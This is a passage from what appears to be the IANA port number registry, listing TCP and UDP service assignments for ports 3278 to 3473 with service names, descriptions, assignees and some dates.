lkcmserver 3278 tcp LKCM Server [Javier_Jimenez] [Javier_Jimenez]
lkcmserver 3278 udp LKCM Server [Javier_Jimenez] [Javier_Jimenez]
admind 3279 tcp admind [Jeff_Haynes] [Jeff_Haynes]
admind 3279 udp admind [Jeff_Haynes] [Jeff_Haynes]
vs-server 3280 tcp VS Server [Scott_Godlew] [Scott_Godlew]
vs-server 3280 udp VS Server [Scott_Godlew] [Scott_Godlew]
sysopt 3281 tcp SYSOPT [Tony_Hoffman] [Tony_Hoffman]
sysopt 3281 udp SYSOPT [Tony_Hoffman] [Tony_Hoffman]
datusorb 3282 tcp Datusorb [Thomas_Martin] [Thomas_Martin]
datusorb 3282 udp Datusorb [Thomas_Martin] [Thomas_Martin]
Apple Remote
Desktop (Net 3283 tcp Net Assistant [Michael_Stein] [Michael_Stein] 2011-11-09
Assistant)
Apple Remote
Desktop (Net 3283 udp Net Assistant [Michael_Stein] [Michael_Stein] 2011-11-09
Assistant)
4talk 3284 tcp 4Talk [Tony_Bushnell] [Tony_Bushnell]
4talk 3284 udp 4Talk [Tony_Bushnell] [Tony_Bushnell]
plato 3285 tcp Plato [Jim_Battin] [Jim_Battin]
plato 3285 udp Plato [Jim_Battin] [Jim_Battin]
e-net 3286 tcp E-Net [Steven_Grigsby] [Steven_Grigsby]
e-net 3286 udp E-Net [Steven_Grigsby] [Steven_Grigsby]
directvdata 3287 tcp DIRECTVDATA [Michael_Friedman] [Michael_Friedman]
directvdata 3287 udp DIRECTVDATA [Michael_Friedman] [Michael_Friedman]
cops 3288 tcp COPS [Shai_Herzog] [Shai_Herzog]
cops 3288 udp COPS [Shai_Herzog] [Shai_Herzog]
enpc 3289 tcp ENPC [SEIKO_EPSON_2] [SEIKO_EPSON_2]
enpc 3289 udp ENPC [SEIKO_EPSON_2] [SEIKO_EPSON_2]
caps-lm 3290 tcp CAPS LOGISTICS TOOLKIT - LM [Joseph_Krebs] [Joseph_Krebs]
caps-lm 3290 udp CAPS LOGISTICS TOOLKIT - LM [Joseph_Krebs] [Joseph_Krebs]
sah-lm 3291 tcp S A Holditch & Associates - [Randy_Hudgens] [Randy_Hudgens]
LM
sah-lm 3291 udp S A Holditch & Associates - [Randy_Hudgens] [Randy_Hudgens]
LM
cart-o-rama 3292 tcp Cart O Rama [Phillip_Dillinger] [Phillip_Dillinger]
cart-o-rama 3292 udp Cart O Rama [Phillip_Dillinger] [Phillip_Dillinger]
fg-fps 3293 tcp fg-fps
fg-fps 3293 udp fg-fps
fg-gip 3294 tcp fg-gip [Jean_Marc_Frailong] [Jean_Marc_Frailong]
fg-gip 3294 udp fg-gip [Jean_Marc_Frailong] [Jean_Marc_Frailong]
dyniplookup 3295 tcp Dynamic IP Lookup [Eugene_Osovetsky] [Eugene_Osovetsky]
dyniplookup 3295 udp Dynamic IP Lookup [Eugene_Osovetsky] [Eugene_Osovetsky]
rib-slm 3296 tcp Rib License Manager [Kristean_Heisler] [Kristean_Heisler]
rib-slm 3296 udp Rib License Manager [Kristean_Heisler] [Kristean_Heisler]
cytel-lm 3297 tcp Cytel License Manager [Yogesh_P_Gajjar] [Yogesh_P_Gajjar]
cytel-lm 3297 udp Cytel License Manager [Yogesh_P_Gajjar] [Yogesh_P_Gajjar]
deskview 3298 tcp DeskView [Manfred_Randelzofer] [Manfred_Randelzofer]
deskview 3298 udp DeskView [Manfred_Randelzofer] [Manfred_Randelzofer]
pdrncs 3299 tcp pdrncs [Paul_Wissenbach] [Paul_Wissenbach]
pdrncs 3299 udp pdrncs [Paul_Wissenbach] [Paul_Wissenbach]
Knwon
ceph 3300 tcp Ceph monitor [Sage_Weil] [Sage_Weil] 2015-06-29 Unauthorized
Use on
3300-3301
3300 udp Reserved
Knwon
3301 unassigned Unauthorized
Use on
3300-3301
mcs-fastmail 3302 tcp MCS Fastmail [Patti_Jo_Newsom] [Patti_Jo_Newsom]
mcs-fastmail 3302 udp MCS Fastmail [Patti_Jo_Newsom] [Patti_Jo_Newsom]
opsession-clnt 3303 tcp OP Session Client
opsession-clnt 3303 udp OP Session Client
opsession-srvr 3304 tcp OP Session Server [Amir_Blich] [Amir_Blich]
opsession-srvr 3304 udp OP Session Server [Amir_Blich] [Amir_Blich]
odette-ftp 3305 tcp ODETTE-FTP [David_Nash] [David_Nash] [RFC5024]
odette-ftp 3305 udp ODETTE-FTP [David_Nash] [David_Nash] [RFC5024]
mysql 3306 tcp MySQL [Monty] [Monty]
mysql 3306 udp MySQL [Monty] [Monty]
opsession-prxy 3307 tcp OP Session Proxy [Amir_Blich] [Amir_Blich]
opsession-prxy 3307 udp OP Session Proxy [Amir_Blich] [Amir_Blich]
tns-server 3308 tcp TNS Server
tns-server 3308 udp TNS Server
tns-adv 3309 tcp TNS ADV [Jerome_Albin] [Jerome_Albin]
tns-adv 3309 udp TNS ADV [Jerome_Albin] [Jerome_Albin]
dyna-access 3310 tcp Dyna Access [Dave_Belliveau] [Dave_Belliveau]
dyna-access 3310 udp Dyna Access [Dave_Belliveau] [Dave_Belliveau]
mcns-tel-ret 3311 tcp MCNS Tel Ret [Randall_Atkinson] [Randall_Atkinson]
mcns-tel-ret 3311 udp MCNS Tel Ret [Randall_Atkinson] [Randall_Atkinson]
appman-server 3312 tcp Application Management
Server
appman-server 3312 udp Application Management
Server
uorb 3313 tcp Unify Object Broker [Daegis_Inc] [Chris_Anderson] 2012-07-31
uorb 3313 udp Unify Object Broker [Daegis_Inc] [Chris_Anderson] 2012-07-31
uohost 3314 tcp Unify Object Host [Daegis_Inc] [Chris_Anderson] 2012-07-31
uohost 3314 udp Unify Object Host [Daegis_Inc] [Chris_Anderson] 2012-07-31
cdid 3315 tcp CDID [Andrew_Borisov] [Andrew_Borisov]
cdid 3315 udp CDID [Andrew_Borisov] [Andrew_Borisov]
aicc-cmi 3316 tcp AICC/CMI [William_McDonald] [William_McDonald]
aicc-cmi 3316 udp AICC/CMI [William_McDonald] [William_McDonald]
vsaiport 3317 tcp VSAI PORT [Rieko_Asai] [Rieko_Asai]
vsaiport 3317 udp VSAI PORT [Rieko_Asai] [Rieko_Asai]
ssrip 3318 tcp Swith to Swith Routing [Baba_Hidekazu] [Baba_Hidekazu]
Information Protocol
ssrip 3318 udp Swith to Swith Routing [Baba_Hidekazu] [Baba_Hidekazu]
Information Protocol
sdt-lmd 3319 tcp SDT License Manager [Salvo_Nassisi] [Salvo_Nassisi]
sdt-lmd 3319 udp SDT License Manager [Salvo_Nassisi] [Salvo_Nassisi]
officelink2000 3320 tcp Office Link 2000 [Mike_Balch] [Mike_Balch]
officelink2000 3320 udp Office Link 2000 [Mike_Balch] [Mike_Balch]
vnsstr 3321 tcp VNSSTR [Takeshi_Ohmura] [Takeshi_Ohmura]
vnsstr 3321 udp VNSSTR [Takeshi_Ohmura] [Takeshi_Ohmura]
active-net 3322-3325 Active Networks [Bob_Braden_2] [Bob_Braden_2]
sftu 3326 tcp SFTU [Eduardo_Rosenberg_de] [Eduardo_Rosenberg_de]
sftu 3326 udp SFTU [Eduardo_Rosenberg_de] [Eduardo_Rosenberg_de]
bbars 3327 tcp BBARS [Lou_Harris] [Lou_Harris]
bbars 3327 udp BBARS [Lou_Harris] [Lou_Harris]
egptlm 3328 tcp Eaglepoint License Manager [Dave_Benton] [Dave_Benton]
egptlm 3328 udp Eaglepoint License Manager [Dave_Benton] [Dave_Benton]
hp-device-disc 3329 tcp HP Device Disc [Shivaun_Albright] [Shivaun_Albright]
hp-device-disc 3329 udp HP Device Disc [Shivaun_Albright] [Shivaun_Albright]
mcs-calypsoicf 3330 tcp MCS Calypso ICF
mcs-calypsoicf 3330 udp MCS Calypso ICF
mcs-messaging 3331 tcp MCS Messaging
mcs-messaging 3331 udp MCS Messaging
mcs-mailsvr 3332 tcp MCS Mail Server [Patti_Jo_Newsom] [Patti_Jo_Newsom]
mcs-mailsvr 3332 udp MCS Mail Server [Patti_Jo_Newsom] [Patti_Jo_Newsom]
dec-notes 3333 tcp DEC Notes [Kim_Moraros] [Kim_Moraros]
dec-notes 3333 udp DEC Notes [Kim_Moraros] [Kim_Moraros]
directv-web 3334 tcp Direct TV Webcasting
directv-web 3334 udp Direct TV Webcasting
directv-soft 3335 tcp Direct TV Software Updates
directv-soft 3335 udp Direct TV Software Updates
directv-tick 3336 tcp Direct TV Tickers
directv-tick 3336 udp Direct TV Tickers
directv-catlg 3337 tcp Direct TV Data Catalog [Michael_Friedman] [Michael_Friedman]
directv-catlg 3337 udp Direct TV Data Catalog [Michael_Friedman] [Michael_Friedman]
anet-b 3338 tcp OMF data b
anet-b 3338 udp OMF data b
anet-l 3339 tcp OMF data l
anet-l 3339 udp OMF data l
anet-m 3340 tcp OMF data m
anet-m 3340 udp OMF data m
anet-h 3341 tcp OMF data h [Per_Sahlqvist] [Per_Sahlqvist]
anet-h 3341 udp OMF data h [Per_Sahlqvist] [Per_Sahlqvist]
webtie 3342 tcp WebTIE [Kevin_Frender] [Kevin_Frender]
webtie 3342 udp WebTIE [Kevin_Frender] [Kevin_Frender]
ms-cluster-net 3343 tcp MS Cluster Net [David_Dion] [David_Dion] 2009-02-12
ms-cluster-net 3343 udp MS Cluster Net [David_Dion] [David_Dion] 2009-02-12
bnt-manager 3344 tcp BNT Manager [Engineering_Dept] [Engineering_Dept]
bnt-manager 3344 udp BNT Manager [Engineering_Dept] [Engineering_Dept]
influence 3345 tcp Influence [Russ_Ferriday] [Russ_Ferriday]
influence 3345 udp Influence [Russ_Ferriday] [Russ_Ferriday]
trnsprntproxy 3346 tcp Trnsprnt Proxy [Grant_Kirby] [Grant_Kirby]
trnsprntproxy 3346 udp Trnsprnt Proxy [Grant_Kirby] [Grant_Kirby]
phoenix-rpc 3347 tcp Phoenix RPC [Ian_Anderson] [Ian_Anderson]
phoenix-rpc 3347 udp Phoenix RPC [Ian_Anderson] [Ian_Anderson]
pangolin-laser 3348 tcp Pangolin Laser [William_Benner] [William_Benner]
pangolin-laser 3348 udp Pangolin Laser [William_Benner] [William_Benner]
chevinservices 3349 tcp Chevin Services [Gus_McNaughton] [Gus_McNaughton]
chevinservices 3349 udp Chevin Services [Gus_McNaughton] [Gus_McNaughton]
findviatv 3350 tcp FINDVIATV [Oran_Davis] [Oran_Davis]
findviatv 3350 udp FINDVIATV [Oran_Davis] [Oran_Davis]
btrieve 3351 tcp Btrieve port
btrieve 3351 udp Btrieve port
ssql 3352 tcp Scalable SQL [Chuck_Talk] [Chuck_Talk]
ssql 3352 udp Scalable SQL [Chuck_Talk] [Chuck_Talk]
fatpipe 3353 tcp FATPIPE [Sanchaita_Datta] [Sanchaita_Datta]
fatpipe 3353 udp FATPIPE [Sanchaita_Datta] [Sanchaita_Datta]
suitjd 3354 tcp SUITJD [Todd_Moyer] [Todd_Moyer]
suitjd 3354 udp SUITJD [Todd_Moyer] [Todd_Moyer]
ordinox-dbase 3355 tcp Ordinox Dbase [Denis_Ducharme] [Denis_Ducharme]
ordinox-dbase 3355 udp Ordinox Dbase [Denis_Ducharme] [Denis_Ducharme]
upnotifyps 3356 tcp UPNOTIFYPS [Mark_Fox] [Mark_Fox]
upnotifyps 3356 udp UPNOTIFYPS [Mark_Fox] [Mark_Fox]
adtech-test 3357 tcp Adtech Test IP [Robin_Uyeshiro] [Robin_Uyeshiro]
adtech-test 3357 udp Adtech Test IP [Robin_Uyeshiro] [Robin_Uyeshiro]
mpsysrmsvr 3358 tcp Mp Sys Rmsvr [Hiroyuki_Kawabuchi] [Hiroyuki_Kawabuchi]
mpsysrmsvr 3358 udp Mp Sys Rmsvr [Hiroyuki_Kawabuchi] [Hiroyuki_Kawabuchi]
wg-netforce 3359 tcp WG NetForce [Lee_Wheat] [Lee_Wheat]
wg-netforce 3359 udp WG NetForce [Lee_Wheat] [Lee_Wheat]
kv-server 3360 tcp KV Server
kv-server 3360 udp KV Server
kv-agent 3361 tcp KV Agent [Thomas_Soranno] [Thomas_Soranno]
kv-agent 3361 udp KV Agent [Thomas_Soranno] [Thomas_Soranno]
dj-ilm 3362 tcp DJ ILM [Don_Tyson] [Don_Tyson]
dj-ilm 3362 udp DJ ILM [Don_Tyson] [Don_Tyson]
nati-vi-server 3363 tcp NATI Vi Server [Robert_Dye] [Robert_Dye]
nati-vi-server 3363 udp NATI Vi Server [Robert_Dye] [Robert_Dye]
creativeserver 3364 tcp Creative Server
creativeserver 3364 udp Creative Server
contentserver 3365 tcp Content Server
contentserver 3365 udp Content Server
creativepartnr 3366 tcp Creative Partner [Jesus_Ortiz_2] [Jesus_Ortiz_2]
creativepartnr 3366 udp Creative Partner [Jesus_Ortiz_2] [Jesus_Ortiz_2]
satvid-datalnk 3367-3371 Satellite Video Data Link [Scott_Engel] [Scott_Engel]
tip2 3372 tcp TIP 2 [Keith_Evans] [Keith_Evans]
tip2 3372 udp TIP 2 [Keith_Evans] [Keith_Evans]
lavenir-lm 3373 tcp Lavenir License Manager [Marius_Matioc] [Marius_Matioc]
lavenir-lm 3373 udp Lavenir License Manager [Marius_Matioc] [Marius_Matioc]
cluster-disc 3374 tcp Cluster Disc [Jeff_Hughes] [Jeff_Hughes]
cluster-disc 3374 udp Cluster Disc [Jeff_Hughes] [Jeff_Hughes]
vsnm-agent 3375 tcp VSNM Agent [Venkat_Rangan] [Venkat_Rangan]
vsnm-agent 3375 udp VSNM Agent [Venkat_Rangan] [Venkat_Rangan]
cdbroker 3376 tcp CD Broker [Moon_Ho_Chung] [Moon_Ho_Chung]
cdbroker 3376 udp CD Broker [Moon_Ho_Chung] [Moon_Ho_Chung]
cogsys-lm 3377 tcp Cogsys Network License [Simon_Chinnick] [Simon_Chinnick]
Manager
cogsys-lm 3377 udp Cogsys Network License [Simon_Chinnick] [Simon_Chinnick]
Manager
wsicopy 3378 tcp WSICOPY [James_Overby] [James_Overby]
wsicopy 3378 udp WSICOPY [James_Overby] [James_Overby]
socorfs 3379 tcp SOCORFS [Hugo_Charbonneau] [Hugo_Charbonneau]
socorfs 3379 udp SOCORFS [Hugo_Charbonneau] [Hugo_Charbonneau]
sns-channels 3380 tcp SNS Channels [Shekar_Pasumarthi] [Shekar_Pasumarthi]
sns-channels 3380 udp SNS Channels [Shekar_Pasumarthi] [Shekar_Pasumarthi]
geneous 3381 tcp Geneous [Nick_de_Smith] [Nick_de_Smith]
geneous 3381 udp Geneous [Nick_de_Smith] [Nick_de_Smith]
fujitsu-neat 3382 tcp Fujitsu Network Enhanced [Markku_Viima] [Markku_Viima]
Antitheft function
fujitsu-neat 3382 udp Fujitsu Network Enhanced [Markku_Viima] [Markku_Viima]
Antitheft function
esp-lm 3383 tcp Enterprise Software Products [George_Rudy] [George_Rudy]
License Manager
esp-lm 3383 udp Enterprise Software Products [George_Rudy] [George_Rudy]
License Manager
hp-clic 3384 tcp Cluster Management Services [Rajesh_Srinivasaragh] [Rajesh_Srinivasaragh]
hp-clic 3384 udp Hardware Management [Rajesh_Srinivasaragh] [Rajesh_Srinivasaragh]
qnxnetman 3385 tcp qnxnetman [Michael_Hunter] [Michael_Hunter]
qnxnetman 3385 udp qnxnetman [Michael_Hunter] [Michael_Hunter]
gprs-data 3386 tcp GPRS Data
gprs-sig 3386 udp GPRS SIG [Ansgar_Bergmann] [Ansgar_Bergmann]
backroomnet 3387 tcp Back Room Net [Clayton_Wilkinson] [Clayton_Wilkinson]
backroomnet 3387 udp Back Room Net [Clayton_Wilkinson] [Clayton_Wilkinson]
cbserver 3388 tcp CB Server [Allen_Wei] [Allen_Wei]
cbserver 3388 udp CB Server [Allen_Wei] [Allen_Wei]
ms-wbt-server 3389 tcp MS WBT Server [Ritu_Bahl] [Ritu_Bahl]
ms-wbt-server 3389 udp MS WBT Server [Ritu_Bahl] [Ritu_Bahl]
dsc 3390 tcp Distributed Service [Charles_Honton] [Charles_Honton]
Coordinator
dsc 3390 udp Distributed Service [Charles_Honton] [Charles_Honton]
Coordinator
savant 3391 tcp SAVANT [Andy_Bruce] [Andy_Bruce]
savant 3391 udp SAVANT [Andy_Bruce] [Andy_Bruce]
efi-lm 3392 tcp EFI License Management [Ross_E_Greinke] [Ross_E_Greinke]
efi-lm 3392 udp EFI License Management [Ross_E_Greinke] [Ross_E_Greinke]
d2k-tapestry1 3393 tcp D2K Tapestry Client to
Server
d2k-tapestry1 3393 udp D2K Tapestry Client to
Server
d2k-tapestry2 3394 tcp D2K Tapestry Server to [Eric_Lan] [Eric_Lan]
Server
d2k-tapestry2 3394 udp D2K Tapestry Server to [Eric_Lan] [Eric_Lan]
Server
dyna-lm 3395 tcp Dyna License Manager (Elam) [Anjana_Iyer] [Anjana_Iyer]
dyna-lm 3395 udp Dyna License Manager (Elam) [Anjana_Iyer] [Anjana_Iyer]
Printer Agent
printer-agent 3396 tcp IANA assigned this [Devon_Taylor] [Devon_Taylor]
well-formed service name as
a replacement for
"printer_agent".
This entry is an alias to "printer-agent". This entry is now
printer_agent 3396 tcp Printer Agent [Devon_Taylor] [Devon_Taylor] historic, not usable for use with many common service
discovery mechanisms.
Printer Agent
printer-agent 3396 udp IANA assigned this [Devon_Taylor] [Devon_Taylor]
well-formed service name as
a replacement for
"printer_agent".
This entry is an alias to "printer-agent". This entry is now
printer_agent 3396 udp Printer Agent [Devon_Taylor] [Devon_Taylor] historic, not usable for use with many common service
discovery mechanisms.
cloanto-lm 3397 tcp Cloanto License Manager [Takeo_Sato] [Takeo_Sato] 2010-04-30
cloanto-lm 3397 udp Cloanto License Manager [Takeo_Sato] [Takeo_Sato] 2010-04-30
mercantile 3398 tcp Mercantile [Erik_Kragh_Jensen] [Erik_Kragh_Jensen]
mercantile 3398 udp Mercantile [Erik_Kragh_Jensen] [Erik_Kragh_Jensen]
csms 3399 tcp CSMS
csms 3399 udp CSMS
csms2 3400 tcp CSMS2 [Markus_Michels_2] [Markus_Michels_2]
csms2 3400 udp CSMS2 [Markus_Michels_2] [Markus_Michels_2]
filecast 3401 tcp filecast [Eden_Sherry] [Eden_Sherry]
filecast 3401 udp filecast [Eden_Sherry] [Eden_Sherry]
fxaengine-net 3402 tcp FXa Engine Network Port [Lucas_Alonso] [Lucas_Alonso] 2002-02
fxaengine-net 3402 udp FXa Engine Network Port [Lucas_Alonso] [Lucas_Alonso] 2002-02
3403 De-registered 2006-10-27
3404 Removed 2002-05-01
nokia-ann-ch1 3405 tcp Nokia Announcement ch 1
nokia-ann-ch1 3405 udp Nokia Announcement ch 1
nokia-ann-ch2 3406 tcp Nokia Announcement ch 2 [Morteza_Kalhour] [Morteza_Kalhour] 2002-02
nokia-ann-ch2 3406 udp Nokia Announcement ch 2 [Morteza_Kalhour] [Morteza_Kalhour] 2002-02
ldap-admin 3407 tcp LDAP admin server port [Stephen_Tsun_2] [Stephen_Tsun_2] 2002-02
ldap-admin 3407 udp LDAP admin server port [Stephen_Tsun_2] [Stephen_Tsun_2] 2002-02
BESApi 3408 tcp BES Api Port [Colin_Griffiths] [Colin_Griffiths] 2002-02
BESApi 3408 udp BES Api Port [Colin_Griffiths] [Colin_Griffiths] 2002-02
networklens 3409 tcp NetworkLens Event Port
networklens 3409 udp NetworkLens Event Port
networklenss 3410 tcp NetworkLens SSL Event [Greg_Bailey] [Greg_Bailey] 2002-02
networklenss 3410 udp NetworkLens SSL Event [Greg_Bailey] [Greg_Bailey] 2002-02
biolink-auth 3411 tcp BioLink Authenteon server [BioLink_Support] [BioLink_Support] 2002-02
biolink-auth 3411 udp BioLink Authenteon server [BioLink_Support] [BioLink_Support] 2002-02
xmlblaster 3412 tcp xmlBlaster [Marcel_Ruff] [Marcel_Ruff] 2002-02
xmlblaster 3412 udp xmlBlaster [Marcel_Ruff] [Marcel_Ruff] 2002-02
svnet 3413 tcp SpecView Networking [Richard_Dickins] [Richard_Dickins] 2002-02
svnet 3413 udp SpecView Networking [Richard_Dickins] [Richard_Dickins] 2002-02
wip-port 3414 tcp BroadCloud WIP Port
wip-port 3414 udp BroadCloud WIP Port
bcinameservice 3415 tcp BCI Name Service [Dennis_Parker] [Dennis_Parker] 2002-02
bcinameservice 3415 udp BCI Name Service [Dennis_Parker] [Dennis_Parker] 2002-02
commandport 3416 tcp AirMobile IS Command Port [Mike_Klein] [Mike_Klein] 2002-02
commandport 3416 udp AirMobile IS Command Port [Mike_Klein] [Mike_Klein] 2002-02
csvr 3417 tcp ConServR file translation [Albert_Leung] [Albert_Leung] 2002-02
csvr 3417 udp ConServR file translation [Albert_Leung] [Albert_Leung] 2002-02
rnmap 3418 tcp Remote nmap [Tuomo_Makinen] [Tuomo_Makinen] 2002-02
rnmap 3418 udp Remote nmap [Tuomo_Makinen] [Tuomo_Makinen] 2002-02
softaudit 3419 tcp Isogon SoftAudit [Per_Hellberg] [Per_Hellberg] 2002-02
softaudit 3419 udp ISogon SoftAudit [Per_Hellberg] [Per_Hellberg] 2002-02
ifcp-port 3420 tcp iFCP User Port [RFC4172]
ifcp-port 3420 udp iFCP User Port [RFC4172]
bmap 3421 tcp Bull Apprise portmapper [Jeremy_Gilbert] [Jeremy_Gilbert]
bmap 3421 udp Bull Apprise portmapper [Jeremy_Gilbert] [Jeremy_Gilbert]
rusb-sys-port 3422 tcp Remote USB System Port [Steven_Klein] [Steven_Klein] 2002-02
rusb-sys-port 3422 udp Remote USB System Port [Steven_Klein] [Steven_Klein] 2002-02
xtrm 3423 tcp xTrade Reliable Messaging
xtrm 3423 udp xTrade Reliable Messaging
xtrms 3424 tcp xTrade over TLS/SSL [Mats_Nilsson] [Mats_Nilsson] 2002-02
xtrms 3424 udp xTrade over TLS/SSL [Mats_Nilsson] [Mats_Nilsson] 2002-02
agps-port 3425 tcp AGPS Access Port [Kristoffer_Nilsson] [Kristoffer_Nilsson] 2002-02
agps-port 3425 udp AGPS Access Port [Kristoffer_Nilsson] [Kristoffer_Nilsson] 2002-02
arkivio 3426 tcp Arkivio Storage Protocol [Bruce_Greenblatt] [Bruce_Greenblatt] 2002-02
arkivio 3426 udp Arkivio Storage Protocol [Bruce_Greenblatt] [Bruce_Greenblatt] 2002-02
websphere-snmp 3427 tcp WebSphere SNMP [Richard_Mills] [Richard_Mills] 2002-02
websphere-snmp 3427 udp WebSphere SNMP [Richard_Mills] [Richard_Mills] 2002-02
twcss 3428 tcp 2Wire CSS [Wire_IANA_Contact] [Wire_IANA_Contact] 2002-02
twcss 3428 udp 2Wire CSS [Wire_IANA_Contact] [Wire_IANA_Contact] 2002-02
gcsp 3429 tcp GCSP user port [Anirban_Majumder] [Anirban_Majumder] 2002-03
gcsp 3429 udp GCSP user port [Anirban_Majumder] [Anirban_Majumder] 2002-03
ssdispatch 3430 tcp Scott Studios Dispatch [Michael_Settles] [Michael_Settles] 2002-03
ssdispatch 3430 udp Scott Studios Dispatch [Michael_Settles] [Michael_Settles] 2002-03
ndl-als 3431 tcp Active License Server Port [Quentin_Brown] [Quentin_Brown] 2002-03
ndl-als 3431 udp Active License Server Port [Quentin_Brown] [Quentin_Brown] 2002-03
osdcp 3432 tcp Secure Device Protocol [Peter_Fernandez] [Peter_Fernandez] 2002-03
osdcp 3432 udp Secure Device Protocol [Peter_Fernandez] [Peter_Fernandez] 2002-03
opnet-smp 3433 tcp OPNET Service Management [OPNET_Technologies_Inc] [Edward_Macomber] 2002-03 2011-09-21
Platform
opnet-smp 3433 udp OPNET Service Management [OPNET_Technologies_Inc] [Edward_Macomber] 2002-03 2011-09-21
Platform
opencm 3434 tcp OpenCM Server [Jonathan_S_Shapiro] [Jonathan_S_Shapiro] 2002-03
opencm 3434 udp OpenCM Server [Jonathan_S_Shapiro] [Jonathan_S_Shapiro] 2002-03
pacom 3435 tcp Pacom Security User Port [Steve_Barton] [Steve_Barton] 2002-03
pacom 3435 udp Pacom Security User Port [Steve_Barton] [Steve_Barton] 2002-03
gc-config 3436 tcp GuardControl Exchange [Andreas_Schwarz] [Andreas_Schwarz] 2002-03
Protocol
gc-config 3436 udp GuardControl Exchange [Andreas_Schwarz] [Andreas_Schwarz] 2002-03
Protocol
autocueds 3437 tcp Autocue Directory Service [Geoff_Back] [Geoff_Back] 2002-03
autocueds 3437 udp Autocue Directory Service [Geoff_Back] [Geoff_Back] 2002-03
spiral-admin 3438 tcp Spiralcraft Admin [Michael_Toth] [Michael_Toth] 2002-03
spiral-admin 3438 udp Spiralcraft Admin [Michael_Toth] [Michael_Toth] 2002-03
hri-port 3439 tcp HRI Interface Port [John_Fayos] [John_Fayos] 2002-03
hri-port 3439 udp HRI Interface Port [John_Fayos] [John_Fayos] 2002-03
ans-console 3440 tcp Net Steward Mgmt Console [John_Richmond] [John_Richmond] 2002-03
ans-console 3440 udp Net Steward Mgmt Console [John_Richmond] [John_Richmond] 2002-03
connect-client 3441 tcp OC Connect Client
connect-client 3441 udp OC Connect Client
connect-server 3442 tcp OC Connect Server [Mike_Velten_2] [Mike_Velten_2] 2002-03
connect-server 3442 udp OC Connect Server [Mike_Velten_2] [Mike_Velten_2] 2002-03
ov-nnm-websrv 3443 tcp OpenView Network Node [Anthony_Walker] [Anthony_Walker] 2002-03
Manager WEB Server
ov-nnm-websrv 3443 udp OpenView Network Node [Anthony_Walker] [Anthony_Walker] 2002-03
Manager WEB Server
denali-server 3444 tcp Denali Server [Joe_Devlin] [Joe_Devlin] 2002-03
denali-server 3444 udp Denali Server [Joe_Devlin] [Joe_Devlin] 2002-03
monp 3445 tcp Media Object Network [Ron_Herardian] [Ron_Herardian] 2002-03
monp 3445 udp Media Object Network [Ron_Herardian] [Ron_Herardian] 2002-03
3comfaxrpc 3446 tcp 3Com FAX RPC port [Christopher_Wells_2] [Christopher_Wells_2] 2002-04
3comfaxrpc 3446 udp 3Com FAX RPC port [Christopher_Wells_2] [Christopher_Wells_2] 2002-04
directnet 3447 tcp DirectNet IM System [Gregory_Richards] [Gregory_Richards] 2002-04
directnet 3447 udp DirectNet IM System [Gregory_Richards] [Gregory_Richards] 2002-04
dnc-port 3448 tcp Discovery and Net Config [Chi_Chen] [Chi_Chen] 2002-04
dnc-port 3448 udp Discovery and Net Config [Chi_Chen] [Chi_Chen] 2002-04
hotu-chat 3449 tcp HotU Chat [Tim_Burgess] [Tim_Burgess] 2002-04
hotu-chat 3449 udp HotU Chat [Tim_Burgess] [Tim_Burgess] 2002-04
castorproxy 3450 tcp CAStorProxy [Raymond_J_Young] [Raymond_J_Young] 2002-04
castorproxy 3450 udp CAStorProxy [Raymond_J_Young] [Raymond_J_Young] 2002-04
asam 3451 tcp ASAM Services [Mike_Gossett] [Mike_Gossett] 2002-04
asam 3451 udp ASAM Services [Mike_Gossett] [Mike_Gossett] 2002-04
sabp-signal 3452 tcp SABP-Signalling Protocol [Brendan_McWilliams] [Brendan_McWilliams] 2002-04
sabp-signal 3452 udp SABP-Signalling Protocol [Brendan_McWilliams] [Brendan_McWilliams] 2002-04
pscupd 3453 tcp PSC Update [Datalogic_ADC_Inc] [Reid_B_Ligon] 2001-11-10 2014-07-31
pscupd 3453 udp PSC Update [Datalogic_ADC_Inc] [Reid_B_Ligon] 2001-11-10 2014-07-31
mira 3454 tcp Apple Remote Access Protocol [Mike_Alexander] [Mike_Alexander]
mira 3454 udp Apple Remote Access Protocol [Mike_Alexander] [Mike_Alexander]
prsvp 3455 tcp RSVP Port [Bob_Braden] [Bob_Braden]
prsvp 3455 udp RSVP Port [Bob_Braden] [Bob_Braden]
vat 3456 tcp VAT default data [Van_Jacobson] [Van_Jacobson]
vat 3456 udp VAT default data [Van_Jacobson] [Van_Jacobson]
vat-control 3457 tcp VAT default control [Van_Jacobson] [Van_Jacobson]
vat-control 3457 udp VAT default control [Van_Jacobson] [Van_Jacobson]
d3winosfi 3458 tcp D3WinOSFI [Brad_Hamilton] [Brad_Hamilton]
d3winosfi 3458 udp D3WinOSFI [Brad_Hamilton] [Brad_Hamilton]
integral 3459 tcp TIP Integral [Olivier_Mascia] [Olivier_Mascia]
integral 3459 udp TIP Integral [Olivier_Mascia] [Olivier_Mascia]
edm-manager 3460 tcp EDM Manger
edm-manager 3460 udp EDM Manger
edm-stager 3461 tcp EDM Stager
edm-stager 3461 udp EDM Stager
edm-std-notify 3462 tcp EDM STD Notify
edm-std-notify 3462 udp EDM STD Notify
edm-adm-notify 3463 tcp EDM ADM Notify
edm-adm-notify 3463 udp EDM ADM Notify
edm-mgr-sync 3464 tcp EDM MGR Sync
edm-mgr-sync 3464 udp EDM MGR Sync
edm-mgr-cntrl 3465 tcp EDM MGR Cntrl [Tom_Hennessy] [Tom_Hennessy]
edm-mgr-cntrl 3465 udp EDM MGR Cntrl [Tom_Hennessy] [Tom_Hennessy]
workflow 3466 tcp WORKFLOW [Robert_Hufsky] [Robert_Hufsky]
workflow 3466 udp WORKFLOW [Robert_Hufsky] [Robert_Hufsky]
rcst 3467 tcp RCST [Kit_Sturgeon] [Kit_Sturgeon]
rcst 3467 udp RCST [Kit_Sturgeon] [Kit_Sturgeon]
ttcmremotectrl 3468 tcp TTCM Remote Controll [Yossi_Cohen_Shahar] [Yossi_Cohen_Shahar]
ttcmremotectrl 3468 udp TTCM Remote Controll [Yossi_Cohen_Shahar] [Yossi_Cohen_Shahar]
pluribus 3469 tcp Pluribus [Mark_Miller] [Mark_Miller]
pluribus 3469 udp Pluribus [Mark_Miller] [Mark_Miller]
jt400 3470 tcp jt400
jt400 3470 udp jt400
jt400-ssl 3471 tcp jt400-ssl [Clifton_Nock] [Clifton_Nock]
jt400-ssl 3471 udp jt400-ssl [Clifton_Nock] [Clifton_Nock]
jaugsremotec-1 3472 tcp JAUGS N-G Remotec 1
jaugsremotec-1 3472 udp JAUGS N-G Remotec 1
jaugsremotec-2 3473 tcp JAUGS N-G Remotec 2 [Steven_B_Cliff] [Steven_B_Cliff] 2002-04
